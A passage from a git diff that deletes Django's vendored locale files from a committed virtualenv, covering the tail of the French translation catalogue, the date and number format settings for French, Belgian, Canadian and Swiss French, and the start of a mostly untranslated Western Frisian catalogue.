%(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"La valeur %(datetime)s n’a pas pu être interprétée dans le fuseau horaire " -"%(current_timezone)s ; elle est peut-être ambigüe ou elle n’existe pas." - -msgid "Clear" -msgstr "Effacer" - -msgid "Currently" -msgstr "Actuellement" - -msgid "Change" -msgstr "Modifier" - -msgid "Unknown" -msgstr "Inconnu" - -msgid "Yes" -msgstr "Oui" - -msgid "No" -msgstr "Non" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "oui,non,peut-être" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d octet" -msgstr[1] "%(size)d octets" -msgstr[2] "%(size)d octets" - -#, python-format -msgid "%s KB" -msgstr "%s Kio" - -#, python-format -msgid "%s MB" -msgstr "%s Mio" - -#, python-format -msgid "%s GB" -msgstr "%s Gio" - -#, python-format -msgid "%s TB" -msgstr "%s Tio" - -#, python-format -msgid "%s PB" -msgstr "%s Pio" - -msgid "p.m." -msgstr "après-midi" - -msgid "a.m." -msgstr "matin" - -msgid "PM" -msgstr "Après-midi" - -msgid "AM" -msgstr "Matin" - -msgid "midnight" -msgstr "minuit" - -msgid "noon" -msgstr "midi" - -msgid "Monday" -msgstr "lundi" - -msgid "Tuesday" -msgstr "mardi" - -msgid "Wednesday" -msgstr "mercredi" - -msgid "Thursday" -msgstr "jeudi" - -msgid "Friday" -msgstr "vendredi" - -msgid "Saturday" -msgstr "samedi" - -msgid "Sunday" -msgstr "dimanche" - -msgid "Mon" -msgstr "lun" - -msgid "Tue" -msgstr "mar" - -msgid "Wed" -msgstr "mer" - -msgid "Thu" -msgstr "jeu" - -msgid "Fri" -msgstr "ven" - -msgid "Sat" -msgstr "sam" - -msgid "Sun" -msgstr "dim" - -msgid "January" -msgstr "janvier" - -msgid "February" -msgstr "février" - -msgid "March" -msgstr "mars" - -msgid "April" -msgstr "avril" - -msgid "May" -msgstr "mai" - -msgid "June" -msgstr "juin" - -msgid "July" -msgstr "juillet" - -msgid "August" -msgstr "août" - -msgid "September" -msgstr "septembre" - -msgid "October" -msgstr "octobre" - -msgid "November" -msgstr "novembre" - -msgid "December" -msgstr "décembre" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "fév" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "avr" - -msgid "may" -msgstr "mai" - -msgid "jun" -msgstr "jui" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "aoû" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "oct" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "déc" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "fév." - -msgctxt "abbrev. month" -msgid "March" -msgstr "mars" - -msgctxt "abbrev. month" -msgid "April" -msgstr "avr." - -msgctxt "abbrev. month" -msgid "May" -msgstr "mai" - -msgctxt "abbrev. month" -msgid "June" -msgstr "juin" - -msgctxt "abbrev. month" -msgid "July" -msgstr "juil." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "août" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "oct." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "déc." - -msgctxt "alt. month" -msgid "January" -msgstr "Janvier" - -msgctxt "alt. month" -msgid "February" -msgstr "Février" - -msgctxt "alt. month" -msgid "March" -msgstr "Mars" - -msgctxt "alt. month" -msgid "April" -msgstr "Avril" - -msgctxt "alt. month" -msgid "May" -msgstr "Mai" - -msgctxt "alt. month" -msgid "June" -msgstr "Juin" - -msgctxt "alt. month" -msgid "July" -msgstr "Juillet" - -msgctxt "alt. month" -msgid "August" -msgstr "Août" - -msgctxt "alt. month" -msgid "September" -msgstr "Septembre" - -msgctxt "alt. month" -msgid "October" -msgstr "Octobre" - -msgctxt "alt. month" -msgid "November" -msgstr "Novembre" - -msgctxt "alt. month" -msgid "December" -msgstr "Décembre" - -msgid "This is not a valid IPv6 address." -msgstr "Ceci n’est pas une adresse IPv6 valide." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "ou" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d année" -msgstr[1] "%(num)d ans" -msgstr[2] "%(num)d ans" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d mois" -msgstr[1] "%(num)d mois" -msgstr[2] "%(num)d mois" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d semaine" -msgstr[1] "%(num)d semaines" -msgstr[2] "%(num)d semaines" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d jour" -msgstr[1] "%(num)d jours" -msgstr[2] "%(num)d jours" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d heure" -msgstr[1] "%(num)d heures" -msgstr[2] "%(num)d heures" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minute" -msgstr[1] "%(num)d minutes" -msgstr[2] "%(num)d minutes" - -msgid "Forbidden" -msgstr "Interdit" - -msgid "CSRF verification failed. Request aborted." -msgstr "La vérification CSRF a échoué. La requête a été interrompue." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Vous voyez ce message parce que ce site HTTPS exige que le navigateur web " -"envoie un en-tête « Referer », ce qu’il n'a pas fait. Cet en-tête est exigé " -"pour des raisons de sécurité, afin de s’assurer que le navigateur n’ait pas " -"été piraté par un intervenant externe." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Si vous avez désactivé l’envoi des en-têtes « Referer » par votre " -"navigateur, veuillez les réactiver, au moins pour ce site ou pour les " -"connexions HTTPS, ou encore pour les requêtes de même origine (« same-" -"origin »)." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Si vous utilisez la balise " -"ou que vous incluez l’en-tête « Referrer-Policy: no-referrer », il est " -"préférable de les enlever. La protection CSRF exige que l’en-tête " -"``Referer`` effectue un contrôle de référant strict. Si vous vous souciez de " -"la confidentialité, utilisez des alternatives comme " -"pour les liens vers des sites tiers." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Vous voyez ce message parce que ce site exige la présence d’un cookie CSRF " -"lors de l’envoi de formulaires. Ce cookie est nécessaire pour des raisons de " -"sécurité, afin de s’assurer que le navigateur n’ait pas été piraté par un " -"intervenant externe." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Si vous avez désactivé l’envoi des cookies par votre navigateur, veuillez " -"les réactiver au moins pour ce site ou pour les requêtes de même origine (« " -"same-origin »)." - -msgid "More information is available with DEBUG=True." -msgstr "" -"Des informations plus détaillées sont affichées lorsque la variable DEBUG " -"vaut True." - -msgid "No year specified" -msgstr "Aucune année indiquée" - -msgid "Date out of range" -msgstr "Date hors limites" - -msgid "No month specified" -msgstr "Aucun mois indiqué" - -msgid "No day specified" -msgstr "Aucun jour indiqué" - -msgid "No week specified" -msgstr "Aucune semaine indiquée" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Pas de %(verbose_name_plural)s disponible" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Pas de %(verbose_name_plural)s disponible dans le futur car %(class_name)s." -"allow_future est faux (False)." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" -"Le format « %(format)s » appliqué à la chaîne date « %(datestr)s » n’est pas " -"valide" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Aucun objet %(verbose_name)s trouvé en réponse à la requête" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" -"La page n’est pas la « dernière », elle ne peut pas non plus être convertie " -"en nombre entier." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Page non valide (%(page_number)s) : %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Liste vide et « %(class_name)s.allow_empty » est faux (False)." - -msgid "Directory indexes are not allowed here." -msgstr "Il n’est pas autorisé d’afficher le contenu de ce répertoire." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "« %(path)s » n’existe pas" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Index de %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "L’installation s’est déroulée avec succès. Félicitations !" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Afficher les notes de publication de " -"Django %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Vous voyez cette page parce que votre fichier de réglages contient DEBUG=True et que vous n’avez pas " -"encore configuré d’URL." - -msgid "Django Documentation" -msgstr "Documentation de Django" - -msgid "Topics, references, & how-to’s" -msgstr "Thématiques, références et guides pratiques" - -msgid "Tutorial: A Polling App" -msgstr "Tutoriel : une application de sondage" - -msgid "Get started with Django" -msgstr "Premiers pas avec Django" - -msgid "Django Community" -msgstr "Communauté Django" - -msgid "Connect, get help, or contribute" -msgstr "Se connecter, obtenir de l’aide ou contribuer" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/fr/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/fr/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 04e28614..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fr/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/fr/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index cfbe4461..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fr/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/fr/formats.py deleted file mode 100644 index 338d8ad3..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/fr/formats.py +++ /dev/null @@ -1,27 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j F Y H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d/m/Y" -SHORT_DATETIME_FORMAT = "d/m/Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d/%m/%Y", # '25/10/2006' - "%d/%m/%y", # '25/10/06' -] -DATETIME_INPUT_FORMATS = [ - "%d/%m/%Y %H:%M:%S", # '25/10/2006 14:30:59' - "%d/%m/%Y %H:%M:%S.%f", # '25/10/2006 14:30:59.000200' - "%d/%m/%Y %H:%M", # '25/10/2006 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr_BE/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/fr_BE/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr_BE/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/fr_BE/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 3813805d..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fr_BE/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr_BE/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/fr_BE/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 7a250abb..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fr_BE/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr_BE/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/fr_BE/formats.py deleted file mode 100644 index 84f06571..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/fr_BE/formats.py +++ /dev/null @@ -1,32 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j F Y H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' - "%d/%m/%Y", # '25/10/2006' - "%d/%m/%y", # '25/10/06' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d/%m/%Y %H:%M:%S", # '25/10/2006 14:30:59' - "%d/%m/%Y %H:%M:%S.%f", # '25/10/2006 14:30:59.000200' - "%d/%m/%Y %H:%M", # '25/10/2006 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr_CA/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/fr_CA/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr_CA/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/fr_CA/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index ba83b21c..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fr_CA/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr_CA/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/fr_CA/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 8839e18a..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fr_CA/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr_CA/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/fr_CA/formats.py deleted file mode 100644 index 4f1a017f..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/fr_CA/formats.py +++ /dev/null @@ -1,30 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" # 31 janvier 2024 -TIME_FORMAT = "H\xa0h\xa0i" # 13 h 40 -DATETIME_FORMAT = "j F Y, H\xa0h\xa0i" # 31 janvier 2024, 13 h 40 -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "Y-m-d" -SHORT_DATETIME_FORMAT = "Y-m-d H\xa0h\xa0i" -FIRST_DAY_OF_WEEK = 0 # Dimanche - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '2006-05-15' - "%y-%m-%d", # '06-05-15' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-05-15 14:30:57' - "%y-%m-%d %H:%M:%S", # '06-05-15 14:30:57' - "%Y-%m-%d %H:%M:%S.%f", # '2006-05-15 14:30:57.000200' - "%y-%m-%d %H:%M:%S.%f", # '06-05-15 14:30:57.000200' - "%Y-%m-%d %H:%M", # '2006-05-15 14:30' - "%y-%m-%d %H:%M", # '06-05-15 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr_CH/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/fr_CH/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr_CH/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/fr_CH/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 746c1ba6..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fr_CH/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr_CH/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/fr_CH/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 08e6dfea..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fr_CH/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fr_CH/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/fr_CH/formats.py deleted file mode 100644 index 84f06571..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/fr_CH/formats.py +++ /dev/null @@ -1,32 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j F Y H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "d.m.Y" -SHORT_DATETIME_FORMAT = "d.m.Y H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' - "%d/%m/%Y", # '25/10/2006' - "%d/%m/%y", # '25/10/06' -] -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d/%m/%Y %H:%M:%S", # '25/10/2006 14:30:59' - "%d/%m/%Y %H:%M:%S.%f", # '25/10/2006 14:30:59.000200' - "%d/%m/%Y %H:%M", # '25/10/2006 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fy/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/fy/LC_MESSAGES/django.mo deleted file mode 100644 index 2eff5df9..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/fy/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/fy/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/fy/LC_MESSAGES/django.po deleted file mode 100644 index 172f2835..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/fy/LC_MESSAGES/django.po +++ /dev/null @@ -1,1218 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Western Frisian (http://www.transifex.com/django/django/" -"language/fy/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: fy\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "" - -msgid "Arabic" -msgstr "" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "" - -msgid "Bulgarian" -msgstr "" - -msgid "Belarusian" -msgstr "" - -msgid "Bengali" -msgstr "" - -msgid "Breton" -msgstr "" - -msgid "Bosnian" -msgstr "" - -msgid "Catalan" -msgstr "" - -msgid "Czech" -msgstr "" - -msgid "Welsh" -msgstr "" - -msgid "Danish" -msgstr "" - -msgid "German" -msgstr "" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "" - -msgid "English" -msgstr "" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "" - -msgid "Esperanto" -msgstr "" - -msgid "Spanish" -msgstr "" - -msgid "Argentinian Spanish" -msgstr "" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "" - -msgid "Nicaraguan Spanish" -msgstr "" - -msgid "Venezuelan Spanish" -msgstr "" - -msgid "Estonian" -msgstr "" - -msgid "Basque" -msgstr "" - -msgid "Persian" -msgstr "" - -msgid "Finnish" -msgstr "" - -msgid "French" -msgstr "" - -msgid "Frisian" -msgstr "" - -msgid "Irish" -msgstr "" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "" - -msgid "Hebrew" -msgstr "" - -msgid "Hindi" -msgstr "" - -msgid "Croatian" -msgstr "" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "" - -msgid "Italian" -msgstr "" - -msgid "Japanese" -msgstr "" - -msgid "Georgian" -msgstr "" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "" - -msgid "Khmer" -msgstr "" - -msgid "Kannada" -msgstr "" - -msgid "Korean" -msgstr "" - -msgid "Luxembourgish" -msgstr "" - -msgid "Lithuanian" -msgstr "" - -msgid "Latvian" -msgstr "" - -msgid "Macedonian" -msgstr "" - -msgid "Malayalam" -msgstr "" - -msgid "Mongolian" -msgstr "" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "" - -msgid "Dutch" -msgstr "" - -msgid "Norwegian Nynorsk" -msgstr "" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "" - -msgid "Polish" -msgstr "" - -msgid "Portuguese" -msgstr "" - -msgid "Brazilian Portuguese" -msgstr "" - -msgid "Romanian" -msgstr "" - -msgid "Russian" -msgstr "" - -msgid "Slovak" -msgstr "" - -msgid "Slovenian" -msgstr "" - -msgid "Albanian" -msgstr "" - -msgid "Serbian" -msgstr "" - -msgid "Serbian Latin" -msgstr "" - -msgid "Swedish" -msgstr "" - -msgid "Swahili" -msgstr "" - -msgid "Tamil" -msgstr "" - -msgid "Telugu" -msgstr "" - -msgid "Thai" -msgstr "" - -msgid "Turkish" -msgstr "" - -msgid "Tatar" -msgstr "" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "" - -msgid "Urdu" -msgstr "" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "" - -msgid "Simplified Chinese" -msgstr "" - -msgid "Traditional Chinese" -msgstr "" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Jou in falide wearde." - -msgid "Enter a valid URL." -msgstr "Jou in falide URL." - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Jou in falide IPv4-adres." - -msgid "Enter a valid IPv6 address." -msgstr "" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "" - -msgid "Enter only digits separated by commas." -msgstr "Jou allinnich sifers, skieden troch komma's." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Enter a number." -msgstr "Jou in nûmer." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "Dit fjild kin net leech wêze." - -msgid "This field cannot be blank." -msgstr "" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s mei dit %(field_label)s bestiet al." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "" - -msgid "Comma-separated integers" -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "" - -msgid "File path" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "" - -msgid "Big (8 byte) integer" -msgstr "" - -msgid "IPv4 address" -msgstr "" - -msgid "IP address" 